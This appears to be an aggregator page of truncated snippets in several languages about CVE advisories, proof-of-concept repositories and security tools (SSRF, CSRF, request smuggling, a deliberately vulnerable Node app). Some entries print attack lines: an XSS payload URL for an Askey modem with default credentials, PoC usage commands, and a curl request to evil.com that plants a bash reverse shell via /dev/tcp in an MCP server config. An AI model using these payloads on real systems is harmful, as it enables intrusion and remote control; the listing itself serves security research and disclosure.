Security Bulletin: Due to use of QOS.CH logback, IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution

Summary Due to use of QOS.CH logback IBM Cloud Pak System is affected by server-side request forgery and arbitrary code execution CVE-2024-12801, CVE-2024-12798. Those issues were addressed by IBM Cloud Pak System v2.3.6.2. Vulnerability Details CVEID:CVE-2024-12801 DESCRIPTION: Server-Side Reque...

CVE-2023-27163

Request-Baskets 上的 SSRF 概念验证 CVE-2023-27163 本仓库包含 CVE-2023-27163 的概念验证代码 PoC，该漏洞是 request-baskets 直至 1.2.1 版本 中存在的一个服务端请求伪造 SSRF 漏洞。攻击者可利用精心构造的 API 请求，通过 /api/baskets/name 组件访问网络资源和敏感信息。 使用方法 git clone https://github.com/MasterCode112/CVE-2023-27163.git bash ./CVE-2023-27163.sh https://rbaskets.i...

CVE-2026-44578

CVE-2026-44578 — Next.js WebSocket 升级 SSRF 预认证的服务端请求伪造漏洞，影响 Next.js 自托管部署。 通过单个精心构造的 HTTP 请求即可从 localhost:80 提取 AWS 凭证、密钥及内部服务数据。 字段| 值 ---|--- CVE| CVE-2026-44578 GHSA| GHSA-c4j6-fc7j-m34r CVSS 3.1| 8.6 高危 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N 类型| SSRF CWE-918 受影响版本| Next.js 13.4.13 – 15.5.15,...

CVE-2025-55315-PoC-Exploit

Herramienta de Pentest CVE-2025-55315 Herramienta de explotación de contrabando de solicitudes HTTP para ASP.NET Core Kestrel ⚠️ ADVERTENCIA LEGAL ¡ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS! Úsela SOLO en sistemas que posea o para los que tenga autorización explícita por...

progress-burp

Progress Tracker Burp Suite 扩展，用于跟踪漏洞评估进度。 功能 从 Burp Suite 工具（Proxy、Repeater、Target）捕获项目（唯一请求）。请求唯一键定义如下：目标（主机、端口、协议）、路径和方法。 项目具有以下可编辑属性： 注释 状态（阻塞、完成、忽略、进行中、新增、推迟） 标签 项目可按以下条件过滤： 状态 标签（有两种过滤模式：AND - 项目必须包含所有过滤标签 OR - 项目必须包含至少一个过滤标签） 根据路径扩展名或响应状态码排除捕获的请求 选中的项目可发送至 Burp Suite 工具：Intruder、Repeater 或...

CVE-2026-26718

Descripción Resumen Existe una vulnerabilidad de falsificación de solicitudes entre sitios CSRF en la aplicación web xxl-job-admin que permite a un atacante realizar modificaciones no autorizadas en los scripts de shell de Glue IDE. El endpoint afectado carece de una validación adecuada del token...

ritm

Ruby In The Middle HTTP/HTTPS interception proxy Ruby in the middle RITM is an HTTP/HTTPS interception proxy with on-the-fly certificate generation and signing, which leaves the user with the full power of the Ruby language to intercept and even modify requests and responses as she pleases...

CLZero

CLZero 一个用于模糊测试 HTTP/1.1 CL.0 请求走私攻击向量的项目。 关于 感谢 @albinowax、@defparam 和 @d3d，否则这个工具不会存在。受工具 Smuggler 启发，所有攻击手法改编自 Smuggler 和 https://portswigger.net/research/how-to-turn-security-research-into-profit...

CVE-2021-27403

未认证的跨站脚本 – Askey互联网光纤调制解调器 厂商：Askey 软件版本：BRSVg11.11RTFTEF001V6.54V014 型号：RTF8115VW 漏洞参数：curWebPage Payload：";alert'xss'// 未在其他型号/版本中测试。 通过GET请求 在登录请求中，我们可以发起一个GET请求： http://x.x.x.x/cgi-bin/teaccesorouter.cgi?curWebPage=/settings-internet.asp";alert'xss'//&loginUsername=admin&loginPassword=admin...

CVE-2025-22963

Descripción general Vulnerabilidad de falsificación de petición en sitios cruzados CSRF en versiones de Teedy = v1.11 permite a atacantes remotos forzar a un usuario final a cambiar su información de usuario nombre de usuario, contraseña, etc... en la aplicación web en la que está autenticado...

whoishere.py

whoishere.py WIFI客户端检测 - 通过为执行无线探测请求的设备分配名称来识别人员。...

whoishere.py

whoishere.py WIFI Client Detection - Identify people by assigning a name to a device performing a wireless probe request...

CVE-2022-22954

CVE-2022-22954 漏洞描述 Workspace ONE Access 提供统一应用门户,通过门户可安全访问企业的所有应用，可用于单点登录。CVE-2022-22954 中，攻击者可构造恶意请求造成模板注入，执行任意代码，控制服务器。 参考文章 https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 使用说明 批量扫描模式 python3 CVE-2022-22954.py -m scan -f 123.txt 命令执行模式...

CVE-2022-44877

CVE-2022-44877 Resumen Este script de bash se utiliza para probar la vulnerabilidad de los servidores web a CVE-2022-44877. El script realiza una petición curl a una URL objetivo con un payload codificado en base64. Si el objetivo es vulnerable a la vulnerabilidad CVE-2022-44877, el tiempo...

GHSA-XRVJ-V92F-53GJ vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-35MR-4567-66VG vulnerabilities

Vulnerabilities for packages: request-1276...

CVE-2026-47734 vulnerabilities

Vulnerabilities for packages: request-1276...

GHSA-8MCX-5RQC-VHMF vulnerabilities

Vulnerabilities for packages: request-1276...

ninjasworkout

Damn Vulnerable NodeJS Application Quick Start Download the Repo = run npm i Afer Installing all dependency just run the application node app.js or nodemon app.js ADDED BUGS Prototype Pollution ✅1 No SQL Injection ✅2 Cross site Scripting ✅3 Broken Access Control ✅4 Broken Session Management ✅5 We...

CVE-2026-23744-PoC

CVE-2026-23744-PoC 关于MCP Server漏洞的PoC。 自动生成带有正确正文的帖子部分。 漏洞路径： /api/mcp/connect 通过curl的方法： curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data '"serverConfig":"command":"bash","args":"-c","bash -i & /dev/tcp/TUIP/TUPUERTO 0&1","env":,"serverId":"pruebaxd"'...